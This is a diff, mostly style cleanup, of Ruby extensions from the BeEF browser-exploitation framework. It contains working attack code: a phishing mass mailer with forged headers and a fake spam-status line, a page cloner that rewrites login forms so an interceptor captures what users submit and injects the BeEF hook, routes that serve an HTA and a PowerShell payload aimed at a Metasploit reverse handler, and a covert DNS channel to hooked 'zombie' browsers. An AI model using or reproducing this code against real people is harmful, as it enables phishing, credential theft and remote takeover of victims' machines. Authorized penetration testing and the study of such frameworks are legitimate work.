def self.pre_http_start(http_hook_server) def self.pre_http_start(_http_hook_server)
configuration = BeEF::Core::Configuration.instance configuration = BeEF::Core::Configuration.instance
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
raise ArgumentError,'zone name is undefined' unless zone.to_s != "" raise ArgumentError, 'zone name is undefined' unless zone.to_s != ''
# if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen # if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen
listen = configuration.get('beef.extension.s2c_dns_tunnel.listen') listen = configuration.get('beef.extension.s2c_dns_tunnel.listen')
Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty? Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty?
port = 53 port = 53
protocol = :udp protocol = :udp
interfaces = [[protocol, listen, port]] interfaces = [[protocol, listen, port]]
dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance
dns.run(:listen => interfaces, :zone => zone) dns.run(listen: interfaces, zone: zone)
print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})" print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})"
info = '' info = ''
info += "Zone: " + zone + "\n" info += "Zone: #{zone}\n"
print_more info print_more info
end end
# Mounts the handler for processing HTTP image requests. # Mounts the handler for processing HTTP image requests.
@@ -47,9 +43,7 @@ module BeEF
zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') zone = configuration.get('beef.extension.s2c_dns_tunnel.zone')
beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone)) beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone))
end end
end end
end end
end end
end end

View File

@@ -6,36 +6,34 @@
module BeEF module BeEF
module Extension module Extension
module ServerClientDnsTunnel module ServerClientDnsTunnel
module RubyDNS
class Transaction
def fail!(rcode, domain)
append_question!
class RubyDNS::Transaction @answer.rcode = if rcode.is_a? Symbol
Resolv::DNS::RCode.const_get(rcode)
else
rcode.to_i
end
def fail!(rcode,domain) return unless rcode == :NXDomain
append_question!
if rcode.kind_of? Symbol
@answer.rcode = Resolv::DNS::RCode.const_get(rcode)
else
@answer.rcode = rcode.to_i
end
if rcode == :NXDomain
@answer.aa = 1 @answer.aa = 1
soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain), soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"),
Resolv::DNS::Name.create("hostmaster." + domain), Resolv::DNS::Name.create("hostmaster.#{domain}"),
Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800 Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800)
) @answer.add_authority(name, 3600, soa)
@answer.add_authority(name,3600,soa)
end end
end end
end end
class Server < RubyDNS::Server class Server < RubyDNS::Server
include Singleton include Singleton
attr_accessor :messages attr_accessor :messages
def initialize() def initialize
super() super()
@lock = Mutex.new @lock = Mutex.new
end end
@@ -50,13 +48,12 @@ module BeEF
Thread.new do Thread.new do
EventMachine.next_tick do EventMachine.next_tick do
listen = options[:listen] || nil listen = options[:listen] || nil
super(:listen => listen) super(listen: listen)
@selfip = options[:listen][0][1] @selfip = options[:listen][0][1]
@zone = options[:zone] @zone = options[:zone]
@messages = {} @messages = {}
end
end
end end
end end
end end
@@ -66,11 +63,11 @@ module BeEF
# @param name [String] name of the resource record being looked up # @param name [String] name of the resource record being looked up
# @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.) # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.)
# @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer
def process(name,resource,transaction) def process(name, resource, transaction)
@lock.synchronize do @lock.synchronize do
print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})"
if format_resource(resource) != 'A' or not name.match(/#{@zone}$/) if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/)
transaction.fail!(:Refused,@zone) transaction.fail!(:Refused, @zone)
return return
end end
@@ -78,31 +75,32 @@ module BeEF
cid = name.split('.')[2].split('-')[2].to_i cid = name.split('.')[2].split('-')[2].to_i
bit = name.split('.')[2].split('-')[3].to_i(16) bit = name.split('.')[2].split('-')[3].to_i(16)
if @messages[cid] != nil if @messages[cid].nil?
message = @messages[cid] transaction.fail!(:NXDomain, @zone)
else
transaction.fail!(:NXDomain,@zone)
return return
else
message = @messages[cid]
end end
if message.length <= bit if message.length <= bit
transaction.fail!(:NXDomain,@zone) transaction.fail!(:NXDomain, @zone)
return return
end end
# If the bit is equal to 1 we should return one of the BeEF's IP addresses # If the bit is equal to 1 we should return one of the BeEF's IP addresses
if message[bit] == '1' case message[bit]
when '1'
transaction.respond!(@selfip) transaction.respond!(@selfip)
return return
# If the bit is equal to 0 we should return NXDomain message # If the bit is equal to 0 we should return NXDomain message
elsif message[bit] == '0' when '0'
transaction.fail!(:NXDomain,@zone) transaction.fail!(:NXDomain, @zone)
return return
end end
end end
end end
private private
# Helper method that formats the given resource class in a human-readable format. # Helper method that formats the given resource class in a human-readable format.
# #
@@ -111,7 +109,6 @@ module BeEF
def format_resource(resource) def format_resource(resource)
/::(\w+)$/.match(resource.name)[1] /::(\w+)$/.match(resource.name)[1]
end end
end end
end end
end end

View File

@@ -6,13 +6,11 @@
module BeEF module BeEF
module Extension module Extension
module ServerClientDnsTunnel module ServerClientDnsTunnel
extend BeEF::API::Extension extend BeEF::API::Extension
@short_name = 'S2C DNS Tunnel' @short_name = 'S2C DNS Tunnel'
@full_name = 'Server-to-Client DNS Tunnel' @full_name = 'Server-to-Client DNS Tunnel'
@description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' + @description = 'This extension provides a custom BeEF DNS server and HTTP server ' \
'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.' 'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.'
end end
end end
end end

View File

@@ -1,22 +1,19 @@
module BeEF module BeEF
module Extension module Extension
module ServerClientDnsTunnel module ServerClientDnsTunnel
class Httpd < Sinatra::Base class Httpd < Sinatra::Base
def initialize(domain) def initialize(domain)
super() super()
@domain = domain @domain = domain
end end
get "/map" do get '/map' do
if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$") if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$")
path = File.dirname(__FILE__) path = File.dirname(__FILE__)
send_file File.join(path, 'pixel.jpg') send_file File.join(path, 'pixel.jpg')
end end
end end
end end
end end
end end
end end

View File

@@ -5,13 +5,12 @@
# #
module BeEF module BeEF
module Extension module Extension
module RegisterSEngHandler module RegisterSEngHandler
def self.mount_handler(server) def self.mount_handler(server)
server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new)
ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url')
server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new) server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new)
end end
end end
@@ -36,15 +35,7 @@ require 'extensions/social_engineering/powershell/bind_powershell'
# Models # Models
require 'extensions/social_engineering/models/web_cloner' require 'extensions/social_engineering/models/web_cloner'
require 'extensions/social_engineering/models/interceptor' require 'extensions/social_engineering/models/interceptor'
#require 'extensions/social_engineering/models/mass_mailer' # require 'extensions/social_engineering/models/mass_mailer'
# RESTful api endpoints # RESTful api endpoints
require 'extensions/social_engineering/rest/socialengineering' require 'extensions/social_engineering/rest/socialengineering'

View File

@@ -13,8 +13,8 @@ module BeEF
def initialize def initialize
@config = BeEF::Core::Configuration.instance @config = BeEF::Core::Configuration.instance
@config_prefix = "beef.extension.social_engineering.mass_mailer" @config_prefix = 'beef.extension.social_engineering.mass_mailer'
@templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/" @templates_dir = "#{File.expand_path('../../../extensions/social_engineering/mass_mailer/templates', __dir__)}/"
@user_agent = @config.get("#{@config_prefix}.user_agent") @user_agent = @config.get("#{@config_prefix}.user_agent")
@host = @config.get("#{@config_prefix}.host") @host = @config.get("#{@config_prefix}.host")
@@ -31,10 +31,10 @@ module BeEF
# create new SSL context and disable CA chain validation # create new SSL context and disable CA chain validation
if @config.get("#{@config_prefix}.use_tls") if @config.get("#{@config_prefix}.use_tls")
@ctx = OpenSSL::SSL::SSLContext.new @ctx = OpenSSL::SSL::SSLContext.new
if not @config.get("#{@config_prefix}.verify_ssl") unless @config.get("#{@config_prefix}.verify_ssl")
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway
end end
@ctx.ssl_version = "TLSv1" @ctx.ssl_version = 'TLSv1'
end end
n = tos_hash.size n = tos_hash.size
@@ -75,27 +75,26 @@ module BeEF
boundary = "------------#{random_string(24)}" boundary = "------------#{random_string(24)}"
rel_boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}"
header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary) header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary)
plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary) plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary)
rel_header = email_related(rel_boundary) rel_header = email_related(rel_boundary)
html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary) html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template), rel_boundary)
images = "" images = ''
@config.get("#{@config_prefix}.templates.#{template}.images").each do |image| @config.get("#{@config_prefix}.templates.#{template}.images").each do |image|
images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) images += email_add_image(image, "#{@templates_dir}#{template}/#{image}", rel_boundary)
end end
attachments = "" attachments = ''
if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil unless @config.get("#{@config_prefix}.templates.#{template}.attachments").nil?
@config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment| @config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment|
attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}", rel_boundary)
end end
end end
close = email_close(boundary) close = email_close(boundary)
rescue => e rescue StandardError => e
print_error "Error constructing email." print_error 'Error constructing email.'
raise raise
end end
@@ -105,143 +104,135 @@ module BeEF
end end
def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary) def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary)
headers = <<EOF <<~EOF
From: "#{fromname}" <#{from}> From: "#{fromname}" <#{from}>
Reply-To: "#{fromname}" <#{from}> Reply-To: "#{fromname}" <#{from}>
Return-Path: "#{fromname}" <#{from}> Return-Path: "#{fromname}" <#{from}>
X-Mailer: #{user_agent} X-Mailer: #{user_agent}
To: #{to} To: #{to}
Message-ID: <#{msg_id}@#{@host}> Message-ID: <#{msg_id}@#{@host}>
X-Spam-Status: No, score=0.001 required=5 X-Spam-Status: No, score=0.001 required=5
Subject: #{subject} Subject: #{subject}
MIME-Version: 1.0 MIME-Version: 1.0
Content-Type: multipart/alternative; Content-Type: multipart/alternative;
boundary=#{boundary} boundary=#{boundary}
This is a multi-part message in MIME format. This is a multi-part message in MIME format.
--#{boundary} --#{boundary}
EOF EOF
headers
end end
def email_plain_body(plain_text, boundary) def email_plain_body(plain_text, boundary)
plain_body = <<EOF <<~EOF
Content-Type: text/plain; charset="utf8" Content-Type: text/plain; charset="utf8"
Content-Transfer-Encoding:8bit Content-Transfer-Encoding:8bit
#{plain_text} #{plain_text}
--#{boundary} --#{boundary}
EOF EOF
plain_body
end end
def email_related(rel_boundary) def email_related(rel_boundary)
related = <<EOF <<~EOF
Content-Type: multipart/related; Content-Type: multipart/related;
boundary="#{rel_boundary}" boundary="#{rel_boundary}"
--#{rel_boundary} --#{rel_boundary}
EOF EOF
related
end end
def email_html_body(html_body, rel_boundary) def email_html_body(html_body, rel_boundary)
html_body = <<EOF <<~EOF
Content-Type: text/html; charset=ISO-8859-1 Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit
#{html_body} #{html_body}
--#{rel_boundary} --#{rel_boundary}
EOF EOF
html_body
end end
def email_add_image(name, path, rel_boundary) def email_add_image(name, path, rel_boundary)
file_encoded = [File.read(path)].pack("m") # base64 encoded file_encoded = [File.read(path)].pack('m') # base64 encoded
image = <<EOF <<~EOF
Content-Type: #{get_mime(path)}; Content-Type: #{get_mime(path)};
name="#{name}" name="#{name}"
Content-Transfer-Encoding: base64 Content-Transfer-Encoding: base64
Content-ID: <#{name}> Content-ID: <#{name}>
Content-Disposition: inline; Content-Disposition: inline;
filename="#{name}" filename="#{name}"
#{file_encoded} #{file_encoded}
--#{rel_boundary} --#{rel_boundary}
EOF EOF
image
end end
def email_add_attachment(name, path, rel_boundary) def email_add_attachment(name, path, rel_boundary)
file_encoded = [File.read(path)].pack("m") # base64 encoded file_encoded = [File.read(path)].pack('m') # base64 encoded
image = <<EOF <<~EOF
Content-Type: #{get_mime(path)}; Content-Type: #{get_mime(path)};
name="#{name}" name="#{name}"
Content-Transfer-Encoding: base64 Content-Transfer-Encoding: base64
Content-Disposition: attachment; Content-Disposition: attachment;
filename="#{name}" filename="#{name}"
#{file_encoded} #{file_encoded}
--#{rel_boundary} --#{rel_boundary}
EOF EOF
image
end end
def email_close(boundary) def email_close(boundary)
close = <<EOF <<~EOF
--#{boundary}-- --#{boundary}--
EOF EOF
close
end end
# Replaces placeholder values from the plain/html email templates # Replaces placeholder values from the plain/html email templates
def parse_template(name, link, linktext, template_path, template) def parse_template(name, link, linktext, template_path, template)
result = "" result = ''
img_config = "#{@config_prefix}.templates.#{template}.images_cids" img_config = "#{@config_prefix}.templates.#{template}.images_cids"
img_count = 0 img_count = 0
File.open(template_path, 'r').each do |line| File.open(template_path, 'r').each do |line|
# change the Recipient name # change the Recipient name
if line.include?("__name__") if line.include?('__name__')
result += line.gsub("__name__",name) result += line.gsub('__name__', name)
# change the link/linktext # change the link/linktext
elsif line.include?("__link__") elsif line.include?('__link__')
if line.include?("__linktext__") result += if line.include?('__linktext__')
result += line.gsub("__link__",link).gsub("__linktext__",linktext) line.gsub('__link__', link).gsub('__linktext__', linktext)
else else
result += line.gsub("__link__",link) line.gsub('__link__', link)
end end
# change images cid/name/alt # change images cid/name/alt
elsif line.include?("src=\"cid:__") elsif line.include?('src="cid:__')
img_count += 1 img_count += 1
if line.include?("name=\"img__") || line.include?("alt=\"__img") result += if line.include?('name="img__') || line.include?('alt="__img')
result += line.gsub("__cid#{img_count}__", line.gsub("__cid#{img_count}__",
@config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__", @config.get("#{img_config}.cid#{img_count}")).gsub("__img#{img_count}__",
@config.get("#{img_config}.cid#{img_count}")) @config.get("#{img_config}.cid#{img_count}"))
else else
result += line.gsub("__cid#{img_count}__",@config.get("#{img_config}.cid#{img_count}")) line.gsub("__cid#{img_count}__", @config.get("#{img_config}.cid#{img_count}"))
end end
else else
result += line result += line
end end
end end
result result
end end
def get_mime(file_path) def get_mime(file_path)
result = "" result = ''
IO.popen(["file", "--mime","-b", "#{file_path}"], 'r+') do |io| IO.popen(['file', '--mime', '-b', file_path.to_s], 'r+') do |io|
result = io.readlines.first.split(";").first result = io.readlines.first.split(';').first
end end
result result
end end
def random_string(length) def random_string(length)
output = (0..length).map{ rand(36).to_s(36).upcase }.join output = (0..length).map { rand(36).to_s(36).upcase }.join
end end
end end
end end
end end
end end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core module Core
module Models module Models
class Interceptor < BeEF::Core::Model class Interceptor < BeEF::Core::Model
belongs_to :webcloner belongs_to :webcloner
end end
end end
end end
end end

View File

@@ -6,11 +6,8 @@
module BeEF module BeEF
module Core module Core
module Models module Models
class Massmailer < BeEF::Core::Model class Massmailer < BeEF::Core::Model
end end
end end
end end
end end

View File

@@ -7,11 +7,8 @@ module BeEF
module Core module Core
module Models module Models
class WebCloner < BeEF::Core::Model class WebCloner < BeEF::Core::Model
has_many :interceptors has_many :interceptors
end end
end end
end end
end end

View File

@@ -6,7 +6,6 @@
module BeEF module BeEF
module Extension module Extension
module SocialEngineering module SocialEngineering
# #
# NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that) # NOTE: the powershell_payload is work/copyright from @mattifestation (kudos for that)
# NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that) # NOTE: the visual-basic macro code inside the Microsoft Office Word/Excel documents is work/copyright from @enigma0x3 (kudos for that)
@@ -27,7 +26,7 @@ module BeEF
# serves the HTML Application (HTA) # serves the HTML Application (HTA)
get '/hta' do get '/hta' do
response['Content-Type'] = "application/hta" response['Content-Type'] = 'application/hta'
@config = BeEF::Core::Configuration.instance @config = BeEF::Core::Configuration.instance
beef_url_str = @config.beef_url_str beef_url_str = @config.beef_url_str
ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url') ps_url = @config.get('beef.extension.social_engineering.powershell.powershell_handler_url')
@@ -43,7 +42,7 @@ module BeEF
# serves the powershell payload after modifying LHOST/LPORT # serves the powershell payload after modifying LHOST/LPORT
# The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO # The payload gets served via HTTP by default. Serving it via HTTPS it's still a TODO
get '/ps.png' do get '/ps.png' do
response['Content-Type'] = "text/plain" response['Content-Type'] = 'text/plain'
@ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host') @ps_lhost = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_host')
@ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port') @ps_port = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.msf_reverse_handler_port')
@@ -51,9 +50,7 @@ module BeEF
ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload" ps_payload_path = "#{$root_dir}/extensions/social_engineering/powershell/powershell_payload"
ps_payload = '' ps_payload = ''
if File.exist?(ps_payload_path) ps_payload = File.read(ps_payload_path).gsub('___LHOST___', @ps_lhost).gsub('___LPORT___', @ps_port) if File.exist?(ps_payload_path)
ps_payload = File.read(ps_payload_path).gsub("___LHOST___", @ps_lhost).gsub("___LPORT___", @ps_port)
end
ps_payload ps_payload
end end
end end

View File

@@ -8,12 +8,11 @@ module BeEF
module Extension module Extension
module SocialEngineering module SocialEngineering
class SEngRest < BeEF::Core::Router::Router class SEngRest < BeEF::Core::Router::Router
config = BeEF::Core::Configuration.instance config = BeEF::Core::Configuration.instance
before do before do
error 401 unless params[:token] == config.get('beef.api_token') error 401 unless params[:token] == config.get('beef.api_token')
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip) halt 401 unless BeEF::Core::Rest.permitted_source?(request.ip)
headers 'Content-Type' => 'application/json; charset=UTF-8', headers 'Content-Type' => 'application/json; charset=UTF-8',
'Pragma' => 'no-cache', 'Pragma' => 'no-cache',
'Cache-Control' => 'no-cache', 'Cache-Control' => 'no-cache',
@@ -33,19 +32,19 @@ module BeEF
request.body.rewind request.body.rewind
begin begin
body = JSON.parse request.body.read body = JSON.parse request.body.read
uri = body["url"] uri = body['url']
mount = body["mount"] mount = body['mount']
use_existing = body["use_existing"] use_existing = body['use_existing']
dns_spoof = body["dns_spoof"] dns_spoof = body['dns_spoof']
if uri != nil && mount != nil if !uri.nil? && !mount.nil?
if (uri =~ URI::regexp).nil? #invalid URI if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
print_error "Invalid URI" print_error 'Invalid URI'
halt 401 halt 401
end end
if !mount[/^\//] # mount needs to start with / unless mount[%r{^/}] # mount needs to start with /
print_error "Invalid mount (need to be a relative path, and start with / )" print_error 'Invalid mount (need to be a relative path, and start with / )'
halt 401 halt 401
end end
@@ -54,19 +53,18 @@ module BeEF
if success if success
result = { result = {
"success" => true, 'success' => true,
"mount" => mount 'mount' => mount
}.to_json }.to_json
else else
result = { result = {
"success" => false 'success' => false
}.to_json }.to_json
halt 500 halt 500
end end
end end
rescue StandardError
rescue => e print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page'
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
error 400 # Bad Request error 400 # Bad Request
end end
end end
@@ -74,7 +72,7 @@ module BeEF
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body' # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7 #-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
# Example json_body: # Example json_body:
#{ # {
# "template": "default", # "template": "default",
# "subject": "Hi from BeEF", # "subject": "Hi from BeEF",
# "fromname": "BeEF", # "fromname": "BeEF",
@@ -84,31 +82,31 @@ module BeEF
# "recipients": [{ # "recipients": [{
# "user1@gmail.com": "Michele", # "user1@gmail.com": "Michele",
# "user2@antisnatchor.com": "Antisnatchor" # "user2@antisnatchor.com": "Antisnatchor"
#}] # }]
#} # }
post '/send_mails' do post '/send_mails' do
request.body.rewind request.body.rewind
begin begin
body = JSON.parse request.body.read body = JSON.parse request.body.read
template = body["template"] template = body['template']
subject = body["subject"] subject = body['subject']
fromname = body["fromname"] fromname = body['fromname']
fromaddr = body["fromaddr"] fromaddr = body['fromaddr']
link = body["link"] link = body['link']
linktext = body["linktext"] linktext = body['linktext']
if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil? if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil?
print_error "All parameters are mandatory." print_error 'All parameters are mandatory.'
halt 401 halt 401
end end
if (link =~ URI::regexp).nil? #invalid URI if (link =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI
print_error "Invalid link or linktext" print_error 'Invalid link or linktext'
halt 401 halt 401
end end
recipients = body["recipients"][0] recipients = body['recipients'][0]
recipients.each do |email, name| recipients.each do |email, name|
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil? if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
@@ -116,20 +114,19 @@ module BeEF
halt 401 halt 401
end end
end end
rescue => e rescue StandardError
print_error "Invalid JSON input passed to endpoint /api/seng/send_emails" print_error 'Invalid JSON input passed to endpoint /api/seng/send_emails'
error 400 error 400
end end
begin begin
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients) mass_mailer.send_email(template, fromname, fromaddr, subject, link, linktext, recipients)
rescue => e rescue StandardError => e
print_error "Invalid mailer configuration" print_error "Mailer send_email failed: #{e.message}"
error 400 error 400
end end
end end
end end
end end
end end

View File

@@ -8,44 +8,42 @@ module BeEF
module SocialEngineering module SocialEngineering
require 'sinatra/base' require 'sinatra/base'
class Interceptor < Sinatra::Base class Interceptor < Sinatra::Base
configure do
configure do
set :show_exceptions, false set :show_exceptions, false
end
# intercept GET
get "/" do
print_info "GET request from IP #{request.ip}"
print_info "Referer: #{request.referer}"
cloned_page = settings.cloned_page
cloned_page
end
# intercept POST
post "/" do
print_info "POST request from IP #{request.ip}"
request.body.rewind
data = request.body.read
print_info "Intercepted data:"
print_info data
interceptor_db = BeEF::Core::Models::Interceptor.new(
:webcloner_id => settings.db_entry.id,
:post_data => data,
:ip => request.ip
)
interceptor_db.save
if settings.frameable
print_info "Page can be framed :-) Loading original URL into iFrame..."
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
else
print_info "Page can not be framed :-) Redirecting to original URL..."
redirect settings.redirect_to
end end
end
# intercept GET
get '/' do
print_info "GET request from IP #{request.ip}"
print_info "Referer: #{request.referer}"
cloned_page = settings.cloned_page
cloned_page
end
# intercept POST
post '/' do
print_info "POST request from IP #{request.ip}"
request.body.rewind
data = request.body.read
print_info 'Intercepted data:'
print_info data
interceptor_db = BeEF::Core::Models::Interceptor.new(
webcloner_id: settings.db_entry.id,
post_data: data,
ip: request.ip
)
interceptor_db.save
if settings.frameable
print_info 'Page can be framed :-) Loading original URL into iFrame...'
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
else
print_info 'Page can not be framed :-) Redirecting to original URL...'
redirect settings.redirect_to
end
end
end end
end end
end end
end end

View File

@@ -13,8 +13,8 @@ module BeEF
def initialize def initialize
@http_server = BeEF::Core::Server.instance @http_server = BeEF::Core::Server.instance
@config = BeEF::Core::Configuration.instance @config = BeEF::Core::Configuration.instance
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/" @cloned_pages_dir = "#{File.expand_path('../../../extensions/social_engineering/web_cloner', __dir__)}/cloned_pages/"
@beef_hook = "#{@config.hook_url}" @beef_hook = @config.hook_url.to_s
end end
def clone_page(url, mount, use_existing, dns_spoof) def clone_page(url, mount, use_existing, dns_spoof)
@@ -35,33 +35,31 @@ module BeEF
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file # 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
# #
if use_existing.nil? || use_existing == false if use_existing.nil? || use_existing == false
begin #,"--background" begin
cmd = ["wget", "#{url}", "-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}", '--read-timeout', '60', '--tries', '3'] cmd = ['wget', url.to_s, '-c', '-k', '-O', (@cloned_pages_dir + output).to_s, '-U', user_agent.to_s, '--read-timeout', '60', '--tries', '3']
if not @config.get('beef.extension.social_engineering.web_cloner.verify_ssl') cmd << '--no-check-certificate' unless @config.get('beef.extension.social_engineering.web_cloner.verify_ssl')
cmd << "--no-check-certificate"
end
print_debug "Running command: #{cmd.join(' ')}" print_debug "Running command: #{cmd.join(' ')}"
IO.popen(cmd, 'r+') do |wget_io| IO.popen(cmd, 'r+') do |wget_io|
end end
success = true success = true
rescue Errno::ENOENT => e rescue Errno::ENOENT
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH." print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
rescue => e rescue StandardError => e
print_error "Errors executing wget: #{e}" print_error "Errors executing wget: #{e}"
end end
if success if success
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file| File.open((@cloned_pages_dir + output_mod).to_s, 'w') do |out_file|
File.open("#{@cloned_pages_dir + output}", 'r').each do |line| File.open((@cloned_pages_dir + output).to_s, 'r').each do |line|
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF # Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
if line.include?("<form ") || line.include?("<FORM ") if line.include?('<form ') || line.include?('<FORM ')
line_attrs = line.split(" ") line_attrs = line.split(' ')
c = 0 c = 0
cc = 0 cc = 0
#todo: probably doable also with map! # TODO: probably doable also with map!
# modify the form 'action' attribute # modify the form 'action' attribute
line_attrs.each do |attr| line_attrs.each do |attr|
if attr.include? "action=\"" if attr.include? 'action="'
print_info "Form action found: #{attr}" print_info "Form action found: #{attr}"
break break
end end
@@ -69,24 +67,24 @@ module BeEF
end end
line_attrs[c] = "action=\"#{mount}\"" line_attrs[c] = "action=\"#{mount}\""
#todo: to be tested, needed in case like yahoo # TODO: to be tested, needed in case like yahoo
# delete the form 'onsubmit' attribute # delete the form 'onsubmit' attribute
#line_attrs.each do |attr| # line_attrs.each do |attr|
# if attr.include? "onsubmit=" # if attr.include? "onsubmit="
# print_info "Form onsubmit event found: #{attr}" # print_info "Form onsubmit event found: #{attr}"
# break # break
# end # end
# cc += 1 # cc += 1
#end # end
#line_attrs[cc] = "" # line_attrs[cc] = ""
mod_form = line_attrs.join(" ") mod_form = line_attrs.join(' ')
print_info "Form action value changed in order to be intercepted :-D" print_info 'Form action value changed in order to be intercepted :-D'
out_file.print mod_form out_file.print mod_form
# Add the BeEF hook # Add the BeEF hook
